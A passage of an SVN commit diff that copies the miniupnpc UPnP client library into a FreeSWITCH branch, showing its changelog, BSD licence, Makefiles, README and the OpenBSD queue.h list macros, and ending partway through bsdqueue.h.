+2007/03/19:
+  cleanup in miniwget.c
+
+2007/03/01:
+  Small typo fix...
+
+2007/01/30:
+  Now parsing the HTTP header from SOAP responses in order to
+  get content-length value.
+
+2007/01/29:
+  Fixed the Soap Query to speedup the HTTP request.
+  added some Win32 DLL stuff...
+
+2007/01/27:
+  Fixed some WIN32 compatibility issues
+
+2006/12/14:
+  Added UPNPIGD_IsConnected() function in miniupnp.c/.h
+  Added UPNP_GetValidIGD() in miniupnp.c/.h
+  cleaned upnpc.c main(). now using UPNP_GetValidIGD()
+
+2006/12/07:
+  Version 1.0-RC1 released
+
+2006/12/03:
+  Minor changes to compile under SunOS/Solaris
+
+2006/11/30:
+  made a minixml parser validator program
+  updated minixml to handle attributes correctly
+
+2006/11/22:
+  Added a -r option to the upnpc sample thanks to Alexander Hubmann.
+
+2006/11/19:
+  Cleanup code to make it more ANSI C compliant
+
+2006/11/10:
+  detect and display local lan address.
+
+2006/11/04:
+  Packets and Bytes Sent/Received are now unsigned int.
+
+2006/11/01:
+  Bug fix thanks to Giuseppe D'Angelo
+
+2006/10/31:
+  C++ compatibility for .h files.
+  Added a way to get ip Address on the LAN used to reach the IGD.
+
+2006/10/25:
+  Added M-SEARCH to the services in the discovery process.
+
+2006/10/22:
+  updated the Makefile to use makedepend, added a "make install"
+  update Makefile
+
+2006/10/20:
+  fixing the description url parsing thanks to patch sent by
+  Wayne Dawe.
+  Fixed/translated some comments.
+  Implemented a better discover process, first looking
+  for IGD then for root devices (as some devices only reply to
+  M-SEARCH for root devices).
+
+2006/09/02:
+  added freeUPNPDevlist() function.
+
+2006/08/04:
+  More command line arguments checking
+
+2006/08/01:
+  Added the .bat file to compile under Win32 with minGW32
+
+2006/07/31:
+  Fixed the rootdesc parser (igd_desc_parse.c)
+
+2006/07/20:
+  parseMSEARCHReply() is now returning the ST: line as well
+  starting changes to detect several UPnP devices on the network
+
+2006/07/19:
+  using GetCommonLinkProperties to get down/upload bitrate
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/LICENCE

Copied: freeswitch/branches/seven/libs/miniupnpc/LICENCE (from rev 14471, freeswitch/trunk/libs/miniupnpc/LICENCE) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/LICENCE	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/LICENCE	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,26 @@
+Copyright (c) 2005-2008, Thomas BERNARD 
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+    * Redistributions of source code must retain the above copyright notice,
+      this list of conditions and the following disclaimer.
+    * Redistributions in binary form must reproduce the above copyright notice,
+      this list of conditions and the following disclaimer in the documentation
+      and/or other materials provided with the distribution.
+    * The name of the author may not be used to endorse or promote products
+	  derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGE.
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/Makefile

Copied: freeswitch/branches/seven/libs/miniupnpc/Makefile (from rev 14471, freeswitch/trunk/libs/miniupnpc/Makefile) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,127 @@
+# $Id: Makefile,v 1.48 2008/12/18 17:46:13 nanard Exp $
+# MiniUPnP Project
+# http://miniupnp.free.fr/
+# (c) 2005-2007 Thomas Bernard
+# to install use :
+# $ PREFIX=/tmp/dummylocation make install
+# or
+# $ INSTALLPREFIX=/usr/local make install
+# or 
+# make install (will go to /usr/bin, /usr/lib, etc...)
+CC ?= gcc
+#AR = gar
+#CFLAGS = -fPIC -O -Wall -g -DDEBUG
+CFLAGS ?= -fPIC -O -Wall -DNDEBUG
+INSTALL = install
+#following libs are needed on Solaris
+#LDLIBS=-lsocket -lnsl -lresolv
+
+# APIVERSION is used to build SONAME
+APIVERSION = 4
+
+SRCS = igd_desc_parse.c miniupnpc.c minixml.c minisoap.c miniwget.c \
+       upnpc.c upnpcommands.c upnpreplyparse.c testminixml.c \
+	   minixmlvalid.c testupnpreplyparse.c minissdpc.c \
+	   upnperrors.c testigddescparse.c
+
+LIBOBJS = miniwget.o minixml.o igd_desc_parse.o minisoap.o \
+          miniupnpc.o upnpreplyparse.o upnpcommands.o minissdpc.o \
+		  upnperrors.o
+
+OBJS = $(patsubst %.c,%.o,$(SRCS))
+
+# HEADERS to install
+HEADERS = miniupnpc.h miniwget.h upnpcommands.h igd_desc_parse.h \
+          upnpreplyparse.h upnperrors.h declspec.h
+LIBRARY = libminiupnpc.a
+SHAREDLIBRARY = libminiupnpc.so
+SONAME = $(SHAREDLIBRARY).$(APIVERSION)
+EXECUTABLES = upnpc-static upnpc-shared \
+              testminixml minixmlvalid testupnpreplyparse \
+			  testigddescparse
+
+INSTALLPREFIX ?= $(PREFIX)/usr
+INSTALLDIRINC = $(INSTALLPREFIX)/include/miniupnpc
+INSTALLDIRLIB = $(INSTALLPREFIX)/lib
+INSTALLDIRBIN = $(INSTALLPREFIX)/bin
+
+.PHONY:	install clean depend all installpythonmodule
+
+all:	validateminixml $(LIBRARY) $(EXECUTABLES)
+
+pythonmodule:	$(LIBRARY) miniupnpcmodule.c setup.py
+	python setup.py build
+	touch $@
+
+installpythonmodule:	pythonmodule
+	python setup.py install
+
+validateminixml:	minixmlvalid
+	@echo "minixml validation test"
+	./minixmlvalid
+	touch $@
+
+clean:
+		$(RM) $(LIBRARY) $(SHAREDLIBRARY) $(EXECUTABLES) $(OBJS)
+		# clean python stuff
+		$(RM) pythonmodule validateminixml
+		$(RM) -r build/ dist/
+		#python setup.py clean
+
+install:	$(LIBRARY) $(SHAREDLIBRARY)
+	$(INSTALL) -d $(INSTALLDIRINC)
+	$(INSTALL) -m 644 $(HEADERS) $(INSTALLDIRINC)
+	$(INSTALL) -d $(INSTALLDIRLIB)
+	$(INSTALL) -m 644 $(LIBRARY) $(INSTALLDIRLIB)
+	$(INSTALL) -m 644 $(SHAREDLIBRARY) $(INSTALLDIRLIB)/$(SONAME)
+	$(INSTALL) -d $(INSTALLDIRBIN)
+	$(INSTALL) -m 755 upnpc-shared $(INSTALLDIRBIN)/upnpc
+	ln -fs $(SONAME) $(INSTALLDIRLIB)/$(SHAREDLIBRARY)
+
+cleaninstall:
+	$(RM) -r $(INSTALLDIRINC)
+	$(RM) $(INSTALLDIRLIB)/$(LIBRARY)
+	$(RM) $(INSTALLDIRLIB)/$(SHAREDLIBRARY)
+
+depend:
+	makedepend -Y -- $(CFLAGS) -- $(SRCS) 2>/dev/null
+
+$(LIBRARY):	$(LIBOBJS)
+	$(AR) crs $@ $?
+
+$(SHAREDLIBRARY):	$(LIBOBJS)
+	$(CC) -shared -Wl,-soname,$(SONAME) -o $@ $^
+
+upnpc-static:	upnpc.o $(LIBRARY)
+	$(CC) -o $@ $^
+
+upnpc-shared:	upnpc.o $(SHAREDLIBRARY)
+	$(CC) -o $@ $^
+
+testminixml:	minixml.o igd_desc_parse.o testminixml.o
+
+minixmlvalid:	minixml.o minixmlvalid.o
+
+testupnpreplyparse:	testupnpreplyparse.o minixml.o upnpreplyparse.o
+
+testigddescparse:	testigddescparse.o igd_desc_parse.o minixml.o
+
+# DO NOT DELETE THIS LINE -- make depend depends on it.
+
+igd_desc_parse.o: igd_desc_parse.h
+miniupnpc.o: miniupnpc.h declspec.h igd_desc_parse.h minissdpc.h miniwget.h
+miniupnpc.o: minisoap.h minixml.h upnpcommands.h upnpreplyparse.h
+minixml.o: minixml.h
+minisoap.o: minisoap.h miniupnpcstrings.h
+miniwget.o: miniupnpc.h declspec.h igd_desc_parse.h miniupnpcstrings.h
+upnpc.o: miniwget.h declspec.h miniupnpc.h igd_desc_parse.h upnpcommands.h
+upnpc.o: upnpreplyparse.h upnperrors.h
+upnpcommands.o: upnpcommands.h upnpreplyparse.h declspec.h miniupnpc.h
+upnpcommands.o: igd_desc_parse.h
+upnpreplyparse.o: upnpreplyparse.h minixml.h
+testminixml.o: minixml.h igd_desc_parse.h
+minixmlvalid.o: minixml.h
+testupnpreplyparse.o: upnpreplyparse.h
+minissdpc.o: minissdpc.h miniupnpc.h declspec.h igd_desc_parse.h codelength.h
+upnperrors.o: upnperrors.h declspec.h upnpcommands.h upnpreplyparse.h
+testigddescparse.o: igd_desc_parse.h minixml.h

Deleted: freeswitch/branches/seven/libs/miniupnpc/Makefile.mingw

Copied: freeswitch/branches/seven/libs/miniupnpc/Makefile.mingw (from rev 14471, freeswitch/trunk/libs/miniupnpc/Makefile.mingw) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/Makefile.mingw	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/Makefile.mingw	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,74 @@
+# $Id: Makefile.mingw,v 1.9 2008/07/02 23:31:15 nanard Exp $
+# Miniupnp project.
+# http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/
+# (c) 2005-2008 Thomas Bernard
+CC = gcc
+#CFLAGS = -Wall -g -DDEBUG
+CFLAGS = -Wall -Os -DNDEBUG
+LDLIBS = -lws2_32
+# -lwsock32
+PYTHON=\utils\python25\python
+OBJS=miniwget.o minixml.o igd_desc_parse.o minisoap.o \
+     miniupnpc.o upnpreplyparse.o upnpcommands.o upnperrors.o
+OBJSDLL=$(addprefix dll/, $(OBJS))
+
+all:	init upnpc-static upnpc-shared testminixml libminiupnpc.a miniupnpc.dll
+
+init:
+	mkdir dll
+	echo "" > init
+
+clean:
+	del upnpc testminixml *.o
+	del dll/*.o
+
+libminiupnpc.a:	$(OBJS)
+	$(AR) cr $@ $?
+
+pythonmodule:	libminiupnpc.a
+	$(PYTHON) setupmingw32.py build --compiler=mingw32
+	$(PYTHON) setupmingw32.py install --skip-build
+
+miniupnpc.dll:	libminiupnpc.a $(OBJSDLL)
+	dllwrap -k --driver-name gcc --def miniupnpc.def \
+	--output-def miniupnpc.dll.def --implib miniupnpc.lib -o $@ \
+	$(OBJSDLL) $(LDLIBS)
+
+miniupnpc.lib:	miniupnpc.dll
+	echo $@ generated with $<
+
+dll/upnpc.o:	upnpc.o
+	echo $@ generated with $<
+
+.c.o:
+	$(CC) $(CFLAGS) -DSTATICLIB -c -o $@ $<
+	$(CC) $(CFLAGS) -DMINIUPNP_EXPORTS -c -o dll/$@ $<
+
+upnpc.o:
+	$(CC) $(CFLAGS) -DSTATICLIB -c -o $@ $<
+	$(CC) $(CFLAGS) -c -o dll/$@ $<
+
+upnpc-static:	upnpc.o libminiupnpc.a
+	$(CC) -o $@ $^ $(LDLIBS)
+
+upnpc-shared:	dll/upnpc.o miniupnpc.lib
+	$(CC) -o $@ $^ $(LDLIBS)
+
+minixml.o:	minixml.c minixml.h
+
+upnpc.o:	upnpc.c miniwget.h minisoap.h miniupnpc.h igd_desc_parse.h upnpreplyparse.h upnpcommands.h
+
+miniwget.o:	miniwget.c miniwget.h
+
+minisoap.o:	minisoap.c minisoap.h
+
+miniupnpc.o:	miniupnpc.c miniupnpc.h minisoap.h miniwget.h minixml.h
+
+igd_desc_parse.o:	igd_desc_parse.c igd_desc_parse.h
+
+testminixml:	minixml.o igd_desc_parse.o testminixml.c
+
+upnpreplyparse.o:	upnpreplyparse.c upnpreplyparse.h minixml.h
+
+upnpcommands.o:	upnpcommands.c upnpcommands.h upnpreplyparse.h miniupnpc.h
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/README

Copied: freeswitch/branches/seven/libs/miniupnpc/README (from rev 14471, freeswitch/trunk/libs/miniupnpc/README) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/README	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,54 @@
+Project: miniupnp
+Project web page: http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/
+Author: Thomas Bernard
+Copyright (c) 2005-2008 Thomas Bernard
+This software is subject to the conditions detailed in the
+LICENCE file provided within this distribution.
+
+For the comfort of Win32 users, bsdqueue.h is included in the distribution.
+Its licence is included in the header of the file.
+bsdqueue.h is a copy of the sys/queue.h of an OpenBSD system.
+
+* miniupnp Client *
+
+To compile, simply run 'gmake' (could be 'make').
+Under win32, to compile with MinGW, type "mingw32make.bat".
+The compilation is known to work under linux, FreeBSD,
+OpenBSD, MacOS X and cygwin.
+To install the library and headers on the system use :
+> su
+> make install
+> exit
+
+alternatively, to install in a specific location, use :
+> INSTALLPREFIX=/usr/local make install
+
+upnpc.c is a sample client using the libminiupnpc.
+To use the libminiupnpc in your application, link it with
+libminiupnpc.a and use the following functions found in miniupnpc.h,
+upnpcommands.h and miniwget.h :
+- upnpDiscover()
+- miniwget()
+- parserootdesc()
+- GetUPNPUrls()
+- UPNP_* (calling UPNP methods)
+
+Note : use #include <miniupnpc/miniupnpc.h> etc... for the includes
+and -lminiupnpc for the link
+
+Discovery process is speeded up when MiniSSDPd is running on the machine.
+
+* Python module *
+
+you can build a python module with 'make pythonmodule' 
+and install it with 'make installpythonmodule'.
+setup.py (and setupmingw32.py) are included in the distribution.
+
+
+Feel free to contact me if you have any problem :
+e-mail : miniupnp@free.fr
+
+If you are using libminiupnpc in your application, please
+send me an email !
+
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/bsdqueue.h

Copied: freeswitch/branches/seven/libs/miniupnpc/bsdqueue.h (from rev 14471, freeswitch/trunk/libs/miniupnpc/bsdqueue.h) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/bsdqueue.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/bsdqueue.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,531 @@
+/*	$OpenBSD: queue.h,v 1.31 2005/11/25 08:06:25 otto Exp $	*/
+/*	$NetBSD: queue.h,v 1.11 1996/05/16 05:17:14 mycroft Exp $	*/
+
+/*
+ * Copyright (c) 1991, 1993
+ *	The Regents of the University of California.  All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 3. Neither the name of the University nor the names of its contributors
+ *    may be used to endorse or promote products derived from this software
+ *    without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ *	@(#)queue.h	8.5 (Berkeley) 8/20/94
+ */
+
+#ifndef	_SYS_QUEUE_H_
+#define	_SYS_QUEUE_H_
+
+/*
+ * This file defines five types of data structures: singly-linked lists, 
+ * lists, simple queues, tail queues, and circular queues.
+ *
+ *
+ * A singly-linked list is headed by a single forward pointer. The elements
+ * are singly linked for minimum space and pointer manipulation overhead at
+ * the expense of O(n) removal for arbitrary elements. New elements can be
+ * added to the list after an existing element or at the head of the list.
+ * Elements being removed from the head of the list should use the explicit
+ * macro for this purpose for optimum efficiency. A singly-linked list may
+ * only be traversed in the forward direction.  Singly-linked lists are ideal
+ * for applications with large datasets and few or no removals or for
+ * implementing a LIFO queue.
+ *
+ * A list is headed by a single forward pointer (or an array of forward
+ * pointers for a hash table header). The elements are doubly linked
+ * so that an arbitrary element can be removed without a need to
+ * traverse the list. New elements can be added to the list before
+ * or after an existing element or at the head of the list. A list
+ * may only be traversed in the forward direction.
+ *
+ * A simple queue is headed by a pair of pointers, one the head of the
+ * list and the other to the tail of the list. The elements are singly
+ * linked to save space, so elements can only be removed from the
+ * head of the list. New elements can be added to the list before or after
+ * an existing element, at the head of the list, or at the end of the
+ * list. A simple queue may only be traversed in the forward direction.
+ *
+ * A tail queue is headed by a pair of pointers, one to the head of the
+ * list and the other to the tail of the list. The elements are doubly
+ * linked so that an arbitrary element can be removed without a need to
+ * traverse the list. New elements can be added to the list before or
+ * after an existing element, at the head of the list, or at the end of
+ * the list. A tail queue may be traversed in either direction.
+ *
+ * A circle queue is headed by a pair of pointers, one to the head of the
+ * list and the other to the tail of the list. The elements are doubly
+ * linked so that an arbitrary element can be removed without a need to
+ * traverse the list. New elements can be added to the list before or after
+ * an existing element, at the head of the list, or at the end of the list.
+ * A circle queue may be traversed in either direction, but has a more
+ * complex end of list detection.
+ *
+ * For details on the use of these macros, see the queue(3) manual page.
+ */
+
+#ifdef QUEUE_MACRO_DEBUG
+#define _Q_INVALIDATE(a) (a) = ((void *)-1)
+#else
+#define _Q_INVALIDATE(a)
+#endif
+
+/*
+ * Singly-linked List definitions.
+ */
+#define SLIST_HEAD(name, type)						\
+struct name {								\
+	struct type *slh_first;	/* first element */			\
+}
+ 
+#define	SLIST_HEAD_INITIALIZER(head)					\
+	{ NULL }
+
+#ifdef SLIST_ENTRY
+#undef SLIST_ENTRY
+#endif
+
+#define SLIST_ENTRY(type)						\
+struct {								\
+	struct type *sle_next;	/* next element */			\
+}
+ 
+/*
+ * Singly-linked List access methods.
+ */
+#define	SLIST_FIRST(head)	((head)->slh_first)
+#define	SLIST_END(head)		NULL
+#define	SLIST_EMPTY(head)	(SLIST_FIRST(head) == SLIST_END(head))
+#define	SLIST_NEXT(elm, field)	((elm)->field.sle_next)
+
+#define	SLIST_FOREACH(var, head, field)					\
+	for((var) = SLIST_FIRST(head);					\
+	    (var) != SLIST_END(head);					\
+	    (var) = SLIST_NEXT(var, field))
+
+#define	SLIST_FOREACH_PREVPTR(var, varp, head, field)			\
+	for ((varp) = &SLIST_FIRST((head));				\
+	    ((var) = *(varp)) != SLIST_END(head);			\
+	    (varp) = &SLIST_NEXT((var), field))
+
+/*
+ * Singly-linked List functions.
+ */
+#define	SLIST_INIT(head) {						\
+	SLIST_FIRST(head) = SLIST_END(head);				\
+}
+
+#define	SLIST_INSERT_AFTER(slistelm, elm, field) do {			\
+	(elm)->field.sle_next = (slistelm)->field.sle_next;		\
+	(slistelm)->field.sle_next = (elm);				\
+} while (0)
+
+#define	SLIST_INSERT_HEAD(head, elm, field) do {			\
+	(elm)->field.sle_next = (head)->slh_first;			\
+	(head)->slh_first = (elm);					\
+} while (0)
+
+#define	SLIST_REMOVE_NEXT(head, elm, field) do {			\
+	(elm)->field.sle_next = (elm)->field.sle_next->field.sle_next;	\
+} while (0)
+
+#define	SLIST_REMOVE_HEAD(head, field) do {				\
+	(head)->slh_first = (head)->slh_first->field.sle_next;		\
+} while (0)
+
+#define SLIST_REMOVE(head, elm, type, field) do {			\
+	if ((head)->slh_first == (elm)) {				\
+		SLIST_REMOVE_HEAD((head), field);			\
+	} else {							\
+		struct type *curelm = (head)->slh_first;		\
+									\
+		while (curelm->field.sle_next != (elm))			\
+			curelm = curelm->field.sle_next;		\
+		curelm->field.sle_next =				\
+		    curelm->field.sle_next->field.sle_next;		\
+		_Q_INVALIDATE((elm)->field.sle_next);			\
+	}								\
+} while (0)
+
+/*
+ * List definitions.
+ */
+#define LIST_HEAD(name, type)						\
+struct name {								\
+	struct type *lh_first;	/* first element */			\
+}
+
+#define LIST_HEAD_INITIALIZER(head)					\
+	{ NULL }
+
+#define LIST_ENTRY(type)						\
+struct {								\
+	struct type *le_next;	/* next element */			\
+	struct type **le_prev;	/* address of previous next element */	\
+}
+
+/*
+ * List access methods
+ */
+#define	LIST_FIRST(head)		((head)->lh_first)
+#define	LIST_END(head)			NULL
+#define	LIST_EMPTY(head)		(LIST_FIRST(head) == LIST_END(head))
+#define	LIST_NEXT(elm, field)		((elm)->field.le_next)
+
+#define LIST_FOREACH(var, head, field)					\
+	for((var) = LIST_FIRST(head);					\
+	    (var)!= LIST_END(head);					\
+	    (var) = LIST_NEXT(var, field))
+
+/*
+ * List functions.
+ */
+#define	LIST_INIT(head) do {						\
+	LIST_FIRST(head) = LIST_END(head);				\
+} while (0)
+
+#define LIST_INSERT_AFTER(listelm, elm, field) do {			\
+	if (((elm)->field.le_next = (listelm)->field.le_next) != NULL)	\
+		(listelm)->field.le_next->field.le_prev =		\
+		    &(elm)->field.le_next;				\
+	(listelm)->field.le_next = (elm);				\
+	(elm)->field.le_prev = &(listelm)->field.le_next;		\
+} while (0)
+
+#define	LIST_INSERT_BEFORE(listelm, elm, field) do {			\
+	(elm)->field.le_prev = (listelm)->field.le_prev;		\
+	(elm)->field.le_next = (listelm);				\
+	*(listelm)->field.le_prev = (elm);				\
+	(listelm)->field.le_prev = &(elm)->field.le_next;		\
+} while (0)
+
+#define LIST_INSERT_HEAD(head, elm, field) do {				\
+	if (((elm)->field.le_next = (head)->lh_first) != NULL)		\
+		(head)->lh_first->field.le_prev = &(elm)->field.le_next;\
+	(head)->lh_first = (elm);					\
+	(elm)->field.le_prev = &(head)->lh_first;			\
+} while (0)
+
+#define LIST_REMOVE(elm, field) do {					\
+	if ((elm)->field.le_next != NULL)				\
+		(elm)->field.le_next->field.le_prev =			\
+		    (elm)->field.le_prev;				\
+	*(elm)->field.le_prev = (elm)->field.le_next;			\
+	_Q_INVALIDATE((elm)->field.le_prev);				\
+	_Q_INVALIDATE((elm)->field.le_next);				\
+} while (0)
+
+#define LIST_REPLACE(elm, elm2, field) do {				\
+	if (((elm2)->field.le_next = (elm)->field.le_next) != NULL)	\
+		(elm2)->field.le_next->field.le_prev =			\
+		    &(elm2)->field.le_next;				\
+	(elm2)->field.le_prev = (elm)->field.le_prev;			\
+	*(elm2)->field.le_prev = (elm2);				\
+	_Q_INVALIDATE((elm)->field.le_prev);				\
+	_Q_INVALIDATE((elm)->field.le_next);				\
+} while (0)
+
+/*
+ * Simple queue definitions.
+ */
+#define SIMPLEQ_HEAD(name, type)					\
+struct name {								\
+	struct type *sqh_first;	/* first element */			\
+	struct type **sqh_last;	/* addr of last next element */		\
+}
+
+#define SIMPLEQ_HEAD_INITIALIZER(head)					\
+	{ NULL, &(head).sqh_first }
+
+#define SIMPLEQ_ENTRY(type)						\
+struct {								\
+	struct type *sqe_next;	/* next element */			\
+}
+
+/*
+ * Simple queue access methods.
+ */
+#define	SIMPLEQ_FIRST(head)	    ((head)->sqh_first)
+#define	SIMPLEQ_END(head)	    NULL
+#define	SIMPLEQ_EMPTY(head)	    (SIMPLEQ_FIRST(head) == SIMPLEQ_END(head))
+#define	SIMPLEQ_NEXT(elm, field)    ((elm)->field.sqe_next)
+
+#define SIMPLEQ_FOREACH(var, head, field)				\
+	for((var) = SIMPLEQ_FIRST(head);				\
+	    (var) != SIMPLEQ_END(head);					\
+	    (var) = SIMPLEQ_NEXT(var, field))
+
+/*
+ * Simple queue functions.
+ */
+#define	SIMPLEQ_INIT(head) do {						\
+	(head)->sqh_first = NULL;					\
+	(head)->sqh_last = &(head)->sqh_first;				\
+} while (0)
+
+#define SIMPLEQ_INSERT_HEAD(head, elm, field) do {			\
+	if (((elm)->field.sqe_next = (head)->sqh_first) == NULL)	\
+		(head)->sqh_last = &(elm)->field.sqe_next;		\
+	(head)->sqh_first = (elm);					\
+} while (0)
+
+#define SIMPLEQ_INSERT_TAIL(head, elm, field) do {			\
+	(elm)->field.sqe_next = NULL;					\
+	*(head)->sqh_last = (elm);					\
+	(head)->sqh_last = &(elm)->field.sqe_next;			\
+} while (0)
+
+#define SIMPLEQ_INSERT_AFTER(head, listelm, elm, field) do {		\
+	if (((elm)->field.sqe_next = (listelm)->field.sqe_next) == NULL)\
+		(head)->sqh_last = &(elm)->field.sqe_next;		\
+	(listelm)->field.sqe_next = (elm);				\
+} while (0)
+
+#define SIMPLEQ_REMOVE_HEAD(head, field) do {			\
+	if (((head)->sqh_first = (head)->sqh_first->field.sqe_next) == NULL) \
+		(head)->sqh_last = &(head)->sqh_first;			\
+} while (0)
+
+/*
+ * Tail queue definitions.
+ */
+#define TAILQ_HEAD(name, type)						\
+struct name {								\
+	struct type *tqh_first;	/* first element */			\
+	struct type **tqh_last;	/* addr of last next element */		\
+}
+
+#define TAILQ_HEAD_INITIALIZER(head)					\
+	{ NULL, &(head).tqh_first }
+
+#define TAILQ_ENTRY(type)						\
+struct {								\
+	struct type *tqe_next;	/* next element */			\
+	struct type **tqe_prev;	/* address of previous next element */	\
+}
+
+/* 
+ * tail queue access methods 
+ */
+#define	TAILQ_FIRST(head)		((head)->tqh_first)
+#define	TAILQ_END(head)			NULL
+#define	TAILQ_NEXT(elm, field)		((elm)->field.tqe_next)
+#define TAILQ_LAST(head, headname)					\
+	(*(((struct headname *)((head)->tqh_last))->tqh_last))
+/* XXX */
+#define TAILQ_PREV(elm, headname, field)				\
+	(*(((struct headname *)((elm)->field.tqe_prev))->tqh_last))
+#define	TAILQ_EMPTY(head)						\
+	(TAILQ_FIRST(head) == TAILQ_END(head))
+
+#define TAILQ_FOREACH(var, head, field)					\
+	for((var) = TAILQ_FIRST(head);					\
+	    (var) != TAILQ_END(head);					\
+	    (var) = TAILQ_NEXT(var, field))
+
+#define TAILQ_FOREACH_REVERSE(var, head, headname, field)		\
+	for((var) = TAILQ_LAST(head, headname);				\
+	    (var) != TAILQ_END(head);					\
+	    (var) = TAILQ_PREV(var, headname, field))
+
+/*
+ * Tail queue functions.
+ */
+#define	TAILQ_INIT(head) do {						\
+	(head)->tqh_first = NULL;					\
+	(head)->tqh_last = &(head)->tqh_first;				\
+} while (0)
+
+#define TAILQ_INSERT_HEAD(head, elm, field) do {			\
+	if (((elm)->field.tqe_next = (head)->tqh_first) != NULL)	\
+		(head)->tqh_first->field.tqe_prev =			\
+		    &(elm)->field.tqe_next;				\
+	else								\
+		(head)->tqh_last = &(elm)->field.tqe_next;		\
+	(head)->tqh_first = (elm);					\
+	(elm)->field.tqe_prev = &(head)->tqh_first;			\
+} while (0)
+
+#define TAILQ_INSERT_TAIL(head, elm, field) do {			\
+	(elm)->field.tqe_next = NULL;					\
+	(elm)->field.tqe_prev = (head)->tqh_last;			\
+	*(head)->tqh_last = (elm);					\
+	(head)->tqh_last = &(elm)->field.tqe_next;			\
+} while (0)
+
+#define TAILQ_INSERT_AFTER(head, listelm, elm, field) do {		\
+	if (((elm)->field.tqe_next = (listelm)->field.tqe_next) != NULL)\
+		(elm)->field.tqe_next->field.tqe_prev =			\
+		    &(elm)->field.tqe_next;				\
+	else								\
+		(head)->tqh_last = &(elm)->field.tqe_next;		\
+	(listelm)->field.tqe_next = (elm);				\
+	(elm)->field.tqe_prev = &(listelm)->field.tqe_next;		\
+} while (0)
+
+#define	TAILQ_INSERT_BEFORE(listelm, elm, field) do {			\
+	(elm)->field.tqe_prev = (listelm)->field.tqe_prev;		\
+	(elm)->field.tqe_next = (listelm);				\
+	*(listelm)->field.tqe_prev = (elm);				\
+	(listelm)->field.tqe_prev = &(elm)->field.tqe_next;		\
+} while (0)
+
+#define TAILQ_REMOVE(head, elm, field) do {				\
+	if (((elm)->field.tqe_next) != NULL)				\
+		(elm)->field.tqe_next->field.tqe_prev =			\
+		    (elm)->field.tqe_prev;				\
+	else								\
+		(head)->tqh_last = (elm)->field.tqe_prev;		\
+	*(elm)->field.tqe_prev = (elm)->field.tqe_next;			\
+	_Q_INVALIDATE((elm)->field.tqe_prev);				\
+	_Q_INVALIDATE((elm)->field.tqe_next);				\
+} while (0)
+
+#define TAILQ_REPLACE(head, elm, elm2, field) do {			\
+	if (((elm2)->field.tqe_next = (elm)->field.tqe_next) != NULL)	\
+		(elm2)->field.tqe_next->field.tqe_prev =		\
+		    &(elm2)->field.tqe_next;				\
+	else								\
+		(head)->tqh_last = &(elm2)->field.tqe_next;		\
+	(elm2)->field.tqe_prev = (elm)->field.tqe_prev;			\
+	*(elm2)->field.tqe_prev = (elm2);				\
